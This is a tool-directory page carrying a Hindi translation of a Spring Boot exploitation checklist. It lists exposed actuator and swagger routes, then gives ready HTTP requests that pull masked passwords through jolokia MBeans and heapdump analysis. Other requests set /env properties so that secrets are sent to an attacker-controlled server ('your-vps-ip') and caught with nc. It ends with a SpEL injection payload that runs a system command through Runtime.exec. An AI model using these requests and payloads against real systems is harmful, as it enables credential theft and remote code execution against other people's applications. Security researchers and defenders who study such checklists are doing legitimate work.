Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/landgrey/springbootvulexploit
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHublandgrey/springbootvulexploit

SpringBootVulExploit

SpringBoot से संबंधित कमजोरियों के अध्ययन सामग्री, उपयोग विधियों और तकनीकों का संग्रह, ब्लैक बॉक्स सुरक्षा मूल्यांकन चेकलिस्ट

रिपॉजिटरी देखें
6.1k1.3k85 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Spring Boot Vulnerability Exploit Check List

Spring Boot से संबंधित भेद्यता अध्ययन सामग्री, उपयोग विधियों और तकनीकों का संग्रह, ब्लैक-बॉक्स सुरक्षा मूल्यांकन चेक लिस्ट

घोषणा

⚠️ इस परियोजना की सभी सामग्री केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए है, इस परियोजना के दुरुपयोग और दुरुपयोग के कारण होने वाली सभी क्षति के लिए संबंधित व्यक्ति जिम्मेदार नहीं हैं

विषय सूची

  • Spring Boot Vulnerability Exploit Check List
    • शून्य: रूट और संस्करण
      • 0x01: रूट ज्ञान
      • 0x02: संस्करण ज्ञान
        • घटक संस्करणों की आपसी निर्भरता:
        • Spring Cloud और Spring Boot संस्करणों के बीच निर्भरता:
        • Spring Cloud छोटे संस्करण संख्या के प्रत्यय और उनके अर्थ:
  • एक: सूचना रिसाव
    • 0x01: रूट पता और इंटरफ़ेस कॉल विवरण रिसाव
    • 0x02: अनुचित कॉन्फ़िगरेशन के कारण उजागर हुए रूट
    • 0x03: तारांकन से छिपाए गए पासवर्ड का सादा पाठ प्राप्त करना (विधि एक)
      • उपयोग की शर्तें:
      • उपयोग विधि:
        • चरण एक: प्राप्त करने के लिए वांछित गुण नाम खोजें
        • चरण दो: jolokia के माध्यम से संबंधित Mbean को कॉल करके सादा पाठ प्राप्त करें
    • 0x04: तारांकन से छिपाए गए पासवर्ड का सादा पाठ प्राप्त करना (विधि दो)
      • उपयोग की शर्तें:
      • उपयोग विधि:
        • चरण एक: प्राप्त करने के लिए वांछित गुण नाम खोजें
        • चरण दो: HTTP अनुरोधों को सुनने के लिए nc का उपयोग करें
        • चरण तीन: eureka.client.serviceUrl.defaultZone गुण सेट करें
        • चरण चार: कॉन्फ़िगरेशन रीफ़्रेश करें
        • चरण पाँच: गुण मान डिकोड करें
    • 0x05: तारांकन से छिपाए गए पासवर्ड का सादा पाठ प्राप्त करना (विधि तीन)
      • उपयोग की शर्तें:
      • उपयोग विधि:
        • चरण एक: प्राप्त करने के लिए वांछित गुण नाम खोजें
        • चरण दो: HTTP अनुरोधों को सुनने के लिए nc का उपयोग करें
        • चरण तीन: बाहरी HTTP अनुरोध ट्रिगर करें
        • चरण चार: कॉन्फ़िगरेशन रीफ़्रेश करें
    • 0x06: तारांकन से छिपाए गए पासवर्ड का सादा पाठ प्राप्त करना (विधि चार)
      • उपयोग की शर्तें:
      • उपयोग विधि:
        • चरण एक: प्राप्त करने के लिए वांछित गुण नाम खोजें
        • चरण दो: jvm heap जानकारी डाउनलोड करें
        • चरण तीन: JVM heap में पासवर्ड का सादा पाठ प्राप्त करने के लिए MAT का उपयोग करें
  • दो: दूरस्थ कोड निष्पादन
    • 0x01: whitelabel error page SpEL RCE
      • उपयोग की शर्तें:
      • उपयोग विधि:
        • चरण एक: सामान्य पैरामीटर पास करने का स्थान खोजें
        • चरण दो: SpEL व्यंजक निष्पादित करें
      • भेद्यता सिद्धांत:
      • भेद्यता विश्लेषण:
      • भेद्यता वातावरण:
    • 0x02: spring cloud SnakeYAML RCE
      • उपयोग की शर्तें:
      • उपयोग विधि:
        • चरण एक: yml और jar फ़ाइलों को होस्ट करें
        • चरण दो: spring.cloud.bootstrap.location गुण सेट करें
        • चरण तीन: कॉन्फ़िगरेशन रीफ़्रेश करें
      • भेद्यता सिद्धांत:
      • भेद्यता विश्लेषण:
      • भेद्यता वातावरण:
    • 0x03: eureka xstream deserialization RCE
      • उपयोग की शर्तें:
      • उपयोग विधि:
        • चरण एक: दुर्भावनापूर्ण XStream पेलोड का जवाब देने वाली वेबसाइट स्थापित करें
        • चरण दो: रिवर्स शेल पोर्ट सुनें
        • चरण तीन: eureka.client.serviceUrl.defaultZone गुण सेट करें
        • चरण चार: कॉन्फ़िगरेशन रीफ़्रेश करें
      • भेद्यता सिद्धांत:
      • भेद्यता विश्लेषण:
      • भेद्यता वातावरण:
    • 0x04: jolokia logback JNDI RCE
      • उपयोग की शर्तें:
      • उपयोग विधि:
        • चरण एक: मौजूदा MBeans देखें
        • चरण दो: xml फ़ाइल होस्ट करें
        • चरण तीन: निष्पादित करने के लिए Java कोड तैयार करें
        • चरण चार: दुर्भावनापूर्ण ldap सेवा स्थापित करें
        • चरण पाँच: रिवर्स शेल पोर्ट सुनें
        • चरण छह: बाहरी URL पते से लॉग कॉन्फ़िगरेशन फ़ाइल लोड करें
      • भेद्यता सिद्धांत:
      • भेद्यता विश्लेषण:
      • भेद्यता वातावरण:
    • 0x05: jolokia Realm JNDI RCE
      • उपयोग की शर्तें:
      • उपयोग विधि:
        • चरण एक: मौजूदा MBeans देखें
        • चरण दो: निष्पादित करने के लिए Java कोड तैयार करें
        • चरण तीन: class फ़ाइल होस्ट करें
        • चरण चार: दुर्भावनापूर्ण rmi सेवा स्थापित करें
        • चरण पाँच: रिवर्स शेल पोर्ट सुनें
        • चरण छह: दुर्भावनापूर्ण पेलोड भेजें
      • भेद्यता सिद्धांत:
      • भेद्यता विश्लेषण:
      • भेद्यता वातावरण:
    • 0x06: restart h2 database query RCE
      • उपयोग की शर्तें:
      • उपयोग विधि:
        • चरण एक: spring.datasource.hikari.connection-test-query गुण सेट करें
        • चरण दो: एप्लिकेशन पुनरारंभ करें
      • भेद्यता सिद्धांत:
      • भेद्यता विश्लेषण:
      • भेद्यता वातावरण:
    • 0x07: h2 database console JNDI RCE
      • उपयोग की शर्तें:
      • उपयोग विधि:
        • चरण एक: jsessionid प्राप्त करने के लिए रूट तक पहुँचें
        • चरण दो: निष्पादित करने के लिए Java कोड तैयार करें
        • चरण तीन: class फ़ाइल होस्ट करें
        • चरण चार: दुर्भावनापूर्ण ldap सेवा स्थापित करें
        • चरण पाँच: रिवर्स शेल पोर्ट सुनें
        • चरण छह: JNDI इंजेक्शन को ट्रिगर करने के लिए पैकेट भेजें
      • भेद्यता विश्लेषण:
      • भेद्यता वातावरण:
    • 0x08: mysql jdbc deserialization RCE
      • उपयोग की शर्तें:
      • उपयोग विधि:
        • चरण एक: पर्यावरण निर्भरता जाँचें
        • चरण दो: दुर्भावनापूर्ण rogue mysql सर्वर स्थापित करें
        • चरण तीन: spring.datasource.url गुण सेट करें
        • चरण चार: कॉन्फ़िगरेशन रीफ़्रेश करें
        • चरण पाँच: डेटाबेस क्वेरी ट्रिगर करें
        • चरण छह: सामान्य jdbc url पुनर्स्थापित करें
      • भेद्यता सिद्धांत:
      • भेद्यता विश्लेषण:
      • भेद्यता वातावरण:
    • 0x09: restart logging.config logback JNDI RCE
      • उपयोग की शर्तें:
      • उपयोग विधि:
        • चरण एक: xml फ़ाइल होस्ट करें
        • चरण दो: दुर्भावनापूर्ण ldap सेवा और कोड होस्ट करें
        • चरण तीन: logging.config गुण सेट करें
        • चरण चार: एप्लिकेशन पुनरारंभ करें
      • भेद्यता सिद्धांत:
      • भेद्यता विश्लेषण:
      • भेद्यता वातावरण:
    • 0x0A: restart logging.config groovy RCE
      • उपयोग की शर्तें:
      • उपयोग विधि:
        • चरण एक: groovy फ़ाइल होस्ट करें
        • चरण दो: logging.config गुण सेट करें
        • चरण तीन: एप्लिकेशन पुनरारंभ करें
      • भेद्यता सिद्धांत:
      • भेद्यता वातावरण:
    • 0x0B: restart spring.main.sources groovy RCE
      • उपयोग की शर्तें:
      • उपयोग विधि:
        • चरण एक: groovy फ़ाइल होस्ट करें
        • चरण दो: spring.main.sources गुण सेट करें
        • चरण तीन: एप्लिकेशन पुनरारंभ करें
      • भेद्यता सिद्धांत:
      • भेद्यता वातावरण:
    • 0x0C: restart spring.datasource.data h2 database RCE
      • उपयोग की शर्तें:
      • उपयोग विधि:
        • चरण एक: sql फ़ाइल होस्ट करें
        • चरण दो: spring.datasource.data गुण सेट करें
        • चरण तीन: एप्लिकेशन पुनरारंभ करें
      • भेद्यता सिद्धांत:
      • भेद्यता वातावरण:
  • शून्य: रूट और संस्करण

    0x01: रूट ज्ञान

    • कुछ प्रोग्रामर /manage, /management या प्रोजेक्ट App संबंधी नाम को स्प्रिंग रूट पथ के रूप में कस्टमाइज़ करते हैं
    • Spring Boot Actuator 1.x संस्करण में डिफ़ॉल्ट रूट का प्रारंभ पथ / होता है, जबकि 2.x संस्करण में एकीकृत रूप से /actuator प्रारंभ पथ होता है
    • Spring Boot Actuator के डिफ़ॉल्ट अंतर्निहित रूट नाम, जैसे /env, को कभी-कभी प्रोग्रामर द्वारा बदला जा सकता है, उदाहरण के लिए /appenv में बदलना

    0x02: संस्करण ज्ञान

    Spring Cloud, Spring Boot पर आधारित सेवाओं के निर्माण के लिए है, और कॉन्फ़िगरेशन प्रबंधन, सेवा खोज और पंजीकरण, स्मार्ट रूटिंग जैसी सामान्य सुविधाएँ प्रदान करता है, जो वितरित सिस्टम के तेज़ी से विकास में मदद करने वाले फ्रेमवर्क का एक क्रमबद्ध संग्रह है।

    घटक संस्करणों की आपसी निर्भरता:

    निर्भरतासंस्करण सूची और निर्भर घटक संस्करण
    spring-boot-starter-parentspring-boot-starter-parent
    spring-boot-dependenciesspring-boot-dependencies
    spring-cloud-dependenciesspring-cloud-dependencies

    Spring Cloud और Spring Boot संस्करणों के बीच निर्भरता:

    Spring Cloud बड़ा संस्करणSpring Boot संस्करण
    AngelSpring Boot 1.2.x के साथ संगत
    BrixtonSpring Boot 1.3.x, 1.4.x के साथ संगत
    CamdenSpring Boot 1.4.x, 1.5.x के साथ संगत
    DalstonSpring Boot 1.5.x के साथ संगत, 2.0.x के साथ असंगत
    EdgwareSpring Boot 1.5.x के साथ संगत, 2.0.x के साथ असंगत
    FinchleySpring Boot 2.0.x के साथ संगत, 1.5.x के साथ असंगत
    GreenwichSpring Boot 2.1.x के साथ संगत
    HoxtonSpring Boot 2.2.x के साथ संगत

    Spring Cloud छोटे संस्करण संख्या के प्रत्यय और उनके अर्थ:

    छोटे संस्करण संख्या प्रत्ययअर्थ
    BUILD-SNAPSHOTस्नैपशॉट संस्करण, कोड निश्चित नहीं है, परिवर्तनशील है
    MXमाइलस्टोन संस्करण
    RCXरिलीज़ कैंडिडेट संस्करण
    RELEASEआधिकारिक रिलीज़ संस्करण
    SRX(बग फिक्स और सुधार के बाद पुनः जारी) आधिकारिक रिलीज़ संस्करण

    एक: सूचना रिसाव

    0x01: रूट पता और इंटरफ़ेस कॉल विवरण रिसाव

    डेवलपर्स को यह एहसास नहीं था कि पता रिसाव से सुरक्षा खतरा हो सकता है, या विकास वातावरण से उत्पादन वातावरण में स्विच करते समय संबंधित व्यक्तियों ने कॉन्फ़िगरेशन फ़ाइल नहीं बदली, पर्यावरण कॉन्फ़िगरेशन स्विच करना भूल गए, आदि।

    सीधे निम्नलिखित दो swagger संबंधित रूटों तक पहुँचें, यह सत्यापित करने के लिए कि भेद्यता मौजूद है या नहीं:``` /v2/api-docs /swagger-ui.html

    root@kitploit:~
    कुछ अन्य swagger, swagger codegen, swagger-dubbo आदि संबंधित इंटरफ़ेस रूट जो मिल सकते हैं:```
    /swagger
    /api-docs
    /api.html
    /swagger-ui
    /swagger/codes
    /api/index.html
    /api/v2/api-docs
    /v2/swagger.json
    /swagger-ui/html
    /distv2/index.html
    /swagger/index.html
    /sw/swagger-ui.html
    /api/swagger-ui.html
    /static/swagger.json
    /user/swagger-ui.html
    /swagger-ui/index.html
    /swagger-dubbo/api-docs
    /template/swagger-ui.html
    /swagger/static/index.html
    /dubbo-provider/distv2/index.html
    /spring-security-rest/api/swagger-ui.html
    /spring-security-oauth-resource/swagger-ui.html
    

    इसके अलावा, निम्नलिखित spring boot actuator संबंधित रूट कभी-कभी कुछ इंटरफ़ेस पता जानकारी भी शामिल करते हैं (या अनुमान लगाते हैं), लेकिन पैरामीटर संबंधित जानकारी प्राप्त नहीं कर सकते:``` /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops

    root@kitploit:~
    **सामान्यतः, स्प्रिंग बूट एप्लिकेशन के संबंधित इंटरफेस और पैरामीटर जानकारी को उजागर करना कोई भेद्यता नहीं माना जाता है**, लेकिन "**डिफ़ॉल्ट सुरक्षा**" के दृष्टिकोण से, इन जानकारियों को उजागर न करना अधिक सुरक्षित है।
    
    हमलावरों के लिए, वे आमतौर पर उजागर इंटरफेस का सावधानीपूर्वक ऑडिट करते हैं ताकि व्यवसाय प्रणाली की समझ बढ़ाई जा सके, और साथ ही जांचते हैं कि एप्लिकेशन सिस्टम में अनधिकृत पहुंच, अधिकार से अधिक पहुंच (privilege escalation) जैसी अन्य व्यावसायिक भेद्यताएं मौजूद हैं या नहीं।
    
    ### 0x02: अनुचित कॉन्फ़िगरेशन के कारण उजागर रूट्स
    
    > मुख्यतः क्योंकि डेवलपर्स को विकास के दौरान इस बात का एहसास नहीं था कि रूट्स को उजागर करने से सुरक्षा जोखिम हो सकता है, या फिर उन्होंने मानक प्रक्रियाओं का पालन नहीं किया और लाइव होने पर उत्पादन वातावरण के कॉन्फ़िगरेशन को संशोधित/स्विच करना भूल गए।
    
    संदर्भ [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) और [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) के अनुसार, अनुचित कॉन्फ़िगरेशन के कारण उजागर होने वाले डिफ़ॉल्ट अंतर्निर्मित रूट्स निम्नलिखित हो सकते हैं:```
    /actuator
    /auditevents
    /autoconfig
    /beans
    /caches
    /conditions
    /configprops
    /docs
    /dump
    /env
    /flyway
    /health
    /heapdump
    /httptrace
    /info
    /intergrationgraph
    /jolokia
    /logfile
    /loggers
    /liquibase
    /metrics
    /mappings
    /prometheus
    /refresh
    /scheduledtasks
    /sessions
    /shutdown
    /trace
    /threaddump
    /actuator/auditevents
    /actuator/beans
    /actuator/health
    /actuator/conditions
    /actuator/configprops
    /actuator/env
    /actuator/info
    /actuator/loggers
    /actuator/heapdump
    /actuator/threaddump
    /actuator/metrics
    /actuator/scheduledtasks
    /actuator/httptrace
    /actuator/mappings
    /actuator/jolokia
    /actuator/hystrix.stream
    

    其中漏洞 खोजने के लिए महत्वपूर्ण इंटरफेस हैं:

    • /env、/actuator/env

      GET अनुरोध /env सीधे पर्यावरण चर, आंतरिक नेटवर्क पते, कॉन्फ़िगरेशन में उपयोगकर्ता नाम आदि को लीक कर देगा; जब प्रोग्रामर के प्रॉपर्टी नाम का नामकरण मानक नहीं होता है, उदाहरण के लिए password को psasword, pwd लिखा जाता है, तो पासवर्ड का प्लेनटेक्स्ट लीक हो जाएगा;

      साथ ही, एक निश्चित संभावना है कि POST अनुरोध /env इंटरफेस के माध्यम से कुछ प्रॉपर्टी सेट की जा सकती हैं, जो अप्रत्यक्ष रूप से संबंधित RCE कमजोरियों को ट्रिगर कर सकती हैं; साथ ही तारक से ढके पासवर्ड, कुंजी और अन्य महत्वपूर्ण गोपनीय जानकारी का प्लेनटेक्स्ट प्राप्त करने की संभावना है।

    • /refresh、/actuator/refresh

      POST अनुरोध /env इंटरफेस के माध्यम से प्रॉपर्टी सेट करने के बाद, साथ ही POST अनुरोध /refresh इंटरफेस के साथ मिलकर प्रॉपर्टी चर को रिफ्रेश करके संबंधित RCE कमजोरियों को ट्रिगर किया जा सकता है।

    • /restart、/actuator/restart

      इस इंटरफेस के उजागर होने की संभावना कम है; POST अनुरोध /env इंटरफेस के माध्यम से प्रॉपर्टी सेट करने के बाद, फिर POST अनुरोध /restart इंटरफेस के माध्यम से एप्लिकेशन को पुनरारंभ करके संबंधित RCE कमजोरियों को ट्रिगर किया जा सकता है।

    • /jolokia、/actuator/jolokia

      /jolokia/list इंटरफेस के माध्यम से उपयोग किए जा सकने वाले MBean खोजे जा सकते हैं, जो अप्रत्यक्ष रूप से संबंधित RCE कमजोरियों को ट्रिगर कर सकते हैं, तारक से ढके महत्वपूर्ण गोपनीय जानकारी का प्लेनटेक्स्ट प्राप्त कर सकते हैं, आदि।

    • /trace、/actuator/httptrace

      कुछ HTTP अनुरोध पैकेट ट्रैकिंग जानकारी तक पहुँचते हैं, जिसमें आंतरिक नेटवर्क एप्लिकेशन सिस्टम की कुछ अनुरोध जानकारी के विवरण; साथ ही वैध उपयोगकर्ता या व्यवस्थापक के कुकी, jwt टोकन आदि की जानकारी मिलने की संभावना है।

    0x03: तारक से डिसेन्सिटाइज़ किए गए पासवर्ड का प्लेनटेक्स्ट प्राप्त करना (विधि एक)

    /env इंटरफेस तक पहुँचने पर, spring actuator कुछ संवेदनशील कीवर्ड (जैसे password, secret) वाले प्रॉपर्टी नामों के संगत प्रॉपर्टी मानों को डिसेन्सिटाइज़ करने के लिए * चिह्न से बदल देता है

    उपयोग की शर्तें:

    • लक्ष्य वेबसाइट पर /jolokia या /actuator/jolokia इंटरफेस मौजूद हो
    • लक्ष्य ने jolokia-core डिपेंडेंसी का उपयोग किया हो (संस्करण आवश्यकता अभी ज्ञात नहीं)

    उपयोग विधि:

    चरण एक: प्राप्त करने के लिए प्रॉपर्टी नाम खोजें

    लक्ष्य वेबसाइट के /env या /actuator/env इंटरफेस पर GET अनुरोध भेजें, ****** कीवर्ड खोजें, और तारक * से ढके प्रॉपर्टी मान के संगत प्रॉपर्टी नाम को खोजें।

    चरण दो: jolokia के माध्यम से संबंधित Mbean को कॉल करके प्लेनटेक्स्ट प्राप्त करें

    नीचे दिए गए उदाहरण में security.user.password को वास्तव में प्राप्त किए जाने वाले प्रॉपर्टी नाम से बदलें, और सीधे पैकेट भेजें; प्लेनटेक्स्ट मान response पैकेट में value कुंजी में समाहित होता है।

    • org.springframework.boot Mbean को कॉल करें

    वास्तव में, org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar वर्ग इंस्टेंस की getProperty विधि को कॉल कर रहा है

    spring 1.x``` POST /jolokia Content-Type: application/json

    {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

    root@kitploit:~
    spring 2.x```
    POST /actuator/jolokia
    Content-Type: application/json
    
    {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
    
    • कॉल करें org.springframework.cloud.context.environment Mbean

    वास्तव में यह org.springframework.cloud.context.environment.EnvironmentManager क्लास इंस्टेंस की getProperty विधि को कॉल करता है

    spring 1.x``` POST /jolokia Content-Type: application/json

    {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

    root@kitploit:~
    spring 2.x```
    POST /actuator/jolokia
    Content-Type: application/json
    
    {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
    
    • अन्य Mbean को कॉल करना

    लक्ष्य की विशिष्ट स्थिति और मौजूद Mbean भिन्न हो सकते हैं, getProperty जैसे कीवर्ड खोजकर, कॉल करने योग्य विधियाँ खोजी जा सकती हैं।

    0x04: तारांकन (*) से छिपाए गए पासवर्ड का सादा पाठ प्राप्त करना (विधि 2)

    उपयोग की शर्तें:

    • लक्ष्य वेबसाइट के /env पर GET अनुरोध भेज सकते हैं
    • लक्ष्य वेबसाइट के /env पर POST अनुरोध भेज सकते हैं
    • लक्ष्य वेबसाइट के /refresh इंटरफ़ेस पर POST अनुरोध भेजकर कॉन्फ़िगरेशन ताज़ा कर सकते हैं (spring-boot-starter-actuator निर्भरता मौजूद होनी चाहिए)
    • लक्ष्य spring-cloud-starter-netflix-eureka-client निर्भरता का उपयोग करता है
    • लक्ष्य हमलावर के सर्वर से अनुरोध कर सकता है (अनुरोध बाहरी नेटवर्क तक पहुँच सकता है)

    उपयोग विधि:

    चरण 1: प्राप्त करने के लिए वांछित गुण का नाम खोजें

    लक्ष्य वेबसाइट के /env या /actuator/env इंटरफ़ेस पर GET अनुरोध भेजें, ****** कीवर्ड खोजें, और तारांकन (*) से छिपाए गए गुण मान के संगत गुण नाम का पता लगाएँ।

    चरण 2: HTTP अनुरोध सुनने के लिए nc का उपयोग करें

    अपने नियंत्रण वाले बाहरी सर्वर पर पोर्ट 80 पर सुनें:```bash nc -lvk 80

    root@kitploit:~
    ##### चरण तीन:  eureka.client.serviceUrl.defaultZone गुण सेट करना
    
    नीचे दिए गए `http://value:${security.user.password}@your-vps-ip` में `security.user.password` को उस संबंधित तारांकन * से ढके गुण नाम से बदलें जिसे आप प्राप्त करना चाहते हैं;
    
    `your-vps-ip` को अपने बाहरी सर्वर के वास्तविक आईपी पते से बदलें।
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

    root@kitploit:~
    ##### चरण 4: कॉन्फ़िगरेशन ताज़ा करें
    
    spring 1.x```
    POST /refresh
    Content-Type: application/x-www-form-urlencoded
    
    

    spring 2.x``` POST /actuator/refresh Content-Type: application/json

    root@kitploit:~
    ##### चरण पाँच: गुण मान को डिकोड करना
    
    सामान्य रूप से, इस समय nc द्वारा सुन रहा सर्वर लक्ष्य से एक अनुरोध प्राप्त करेगा, जिसमें निम्नलिखित के समान `Authorization` हेडर सामग्री शामिल है:```
    Authorization: Basic dmFsdWU6MTIzNDU2
    

    इसके dmFsdWU6MTIzNDU2 भाग को base64 से डिकोड करने पर, सादा पाठ मान value:123456 प्राप्त होता है, जिसमें 123456 लक्ष्य तारांकन * से मास्क किए जाने से पहले की गुण मान का सादा पाठ है।

    0x05:तारांकन द्वारा मास्क किए गए पासवर्ड का सादा पाठ प्राप्त करना (विधि तीन)

    उपयोग की शर्तें:

    • POST /env के माध्यम से गुण सेट करके लक्ष्य को बाहरी नेटवर्क के किसी निर्दिष्ट पते पर कोई भी http अनुरोध भेजने के लिए ट्रिगर करें
    • लक्ष्य हमलावर के सर्वर से अनुरोध कर सकता है (अनुरोध बाहरी नेटवर्क तक पहुँच सकता है)

    उपयोग विधि:

    UUUUnotfound द्वारा प्रस्तावित issue-1 का संदर्भ लें, लक्ष्य द्वारा बाहरी http अनुरोध भेजने की प्रक्रिया में, url path में प्लेसहोल्डर का उपयोग करके डेटा बाहर लाया जा सकता है

    चरण 1: प्राप्त करने के लिए गुण का नाम खोजें

    लक्ष्य वेबसाइट के /env या /actuator/env एंडपॉइंट पर GET अनुरोध करें, ****** कीवर्ड खोजें, और तारांकन * द्वारा मास्क किए गए गुण मान से संबंधित गुण नाम ढूँढें जिसे आप प्राप्त करना चाहते हैं।

    चरण 2: HTTP अनुरोध को सुनने के लिए nc का उपयोग करें

    अपने नियंत्रण वाले बाहरी नेटवर्क सर्वर पर पोर्ट 80 सुनें:```bash nc -lvk 80

    root@kitploit:~
    ##### चरण तीन: बाहरी http अनुरोध को ट्रिगर करें
    
    - `spring.cloud.bootstrap.location` विधि (**यह सादे डेटा में विशेष url वर्ण होने की स्थिति पर भी लागू होता है**)
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

    root@kitploit:~
    - `eureka.client.serviceUrl.defaultZone` विधि (**के लिए लागू नहीं है** जहां सादे डेटा में विशेष url वर्ण हों)
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

    root@kitploit:~
    ##### चरण चार: कॉन्फ़िगरेशन रीफ़्रेश करें
    
    spring 1.x```
    POST /refresh
    Content-Type: application/x-www-form-urlencoded
    
    

    spring 2.x``` POST /actuator/refresh Content-Type: application/json

    root@kitploit:~
    ### 0x06:मास्क किए गए पासवर्ड का स्पष्ट पाठ प्राप्त करना (विधि चार)
    
    > /env इंटरफ़ेस तक पहुँचने पर, spring actuator कुछ संवेदनशील कीवर्ड (जैसे password, secret) वाले गुण नामों के संगत गुण मानों को * चिह्न से बदल कर मास्क करता है।
    
    #### उपयोग की शर्तें:
    
    - सामान्य रूप से GET अनुरोध लक्ष्य `/heapdump` या `/actuator/heapdump` इंटरफ़ेस
    
    #### उपयोग विधि:
    
    ##### चरण 1: प्राप्त करने के लिए गुण नाम ढूँढें
    
    लक्ष्य वेबसाइट के `/env` या `/actuator/env` इंटरफ़ेस पर GET अनुरोध करें, `******` कीवर्ड खोजें, और उस गुण नाम को खोजें जो मास्क किए गए * चिह्न वाले गुण मान से संबंधित है।
    
    ##### चरण 2: jvm heap जानकारी डाउनलोड करें
    
    > डाउनलोड किए गए heapdump फ़ाइल का आकार सामान्यतः 50M—500M के बीच होता है, कभी-कभी 2G से बड़ा भी हो सकता है।
    
    `GET` अनुरोध लक्ष्य के `/heapdump` या `/actuator/heapdump` इंटरफ़ेस पर भेजें और एप्लिकेशन का रीयल-टाइम JVM ढेर जानकारी डाउनलोड करें।
    
    ##### चरण 3: MAT का उपयोग करके jvm heap से पासवर्ड का स्पष्ट पाठ प्राप्त करें
    
    रेफर [लेख](https://landgrey.me/blog/16/) विधि, [Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php) उपकरण के **OQL** कथन का उपयोग करें।```
    select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
    
    或
    
    select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
    

    सहायक उपकरण "password" जैसे कीवर्ड के साथ त्वरित फ़िल्टर और विश्लेषण करने के लिए, पासवर्ड और अन्य संवेदनशील जानकारी का स्पष्ट पाठ प्राप्त करने के लिए।

    दो: दूरस्थ कोड निष्पादन

    चूँकि Spring Boot से संबंधित कमजोरियाँ कई घटकों की कमजोरियों के संयोजन के कारण हो सकती हैं, इसलिए कुछ कमजोरियों के नाम पूरी तरह से मानक नहीं हो सकते हैं, अंतर करने में सक्षम होने के आधार पर।

    0x01: Whitelabel Error Page SpEL RCE

    उपयोग की शर्तें:

    • Spring Boot 1.1.0-1.1.12, 1.2.0-1.2.7, 1.3.0
    • कम से कम एक इंटरफ़ेस और पैरामीटर नाम जानना जो Spring Boot के डिफ़ॉल्ट त्रुटि पृष्ठ को ट्रिगर करता है।

    उपयोग विधि:

    चरण एक: एक सामान्य पैरामीटर पास करने का स्थान खोजें

    उदाहरण के लिए, यदि /article?id=xxx तक पहुँचने पर पृष्ठ 500 स्थिति कोड के साथ त्रुटि दिखाता है: Whitelabel Error Page, तो बाद के पेलोड सभी पैरामीटर id पर प्रयास किए जाएँगे।

    चरण दो: SpEL अभिव्यक्ति निष्पादित करें

    /article?id=${7*7} दर्ज करें, यदि त्रुटि पृष्ठ 7*7 के मान 49 की गणना करके त्रुटि पृष्ठ पर प्रदर्शित करता है, तो मूलतः यह निर्धारित किया जा सकता है कि लक्ष्य में SpEL अभिव्यक्ति इंजेक्शन भेद्यता मौजूद है।

    स्ट्रिंग प्रारूप को 0x** जावा बाइट रूप में परिवर्तित करें, मनमाने कोड को निष्पादित करने में सुविधा के लिए:```python

    coding: utf-8

    result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))

    root@kitploit:~
    निष्पादित करें `open -a Calculator` कमांड```java
    ${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
    

    भेद्यता सिद्धांत:

    1. spring boot पैरामीटर मान को संसाधित करने में त्रुटि होने पर, प्रवाह org.springframework.util.PropertyPlaceholderHelper वर्ग में प्रवेश करता है
    2. इस समय URL में पैरामीटर मान parseStringValue विधि द्वारा पुनरावर्ती रूप से पार्स किया जाएगा
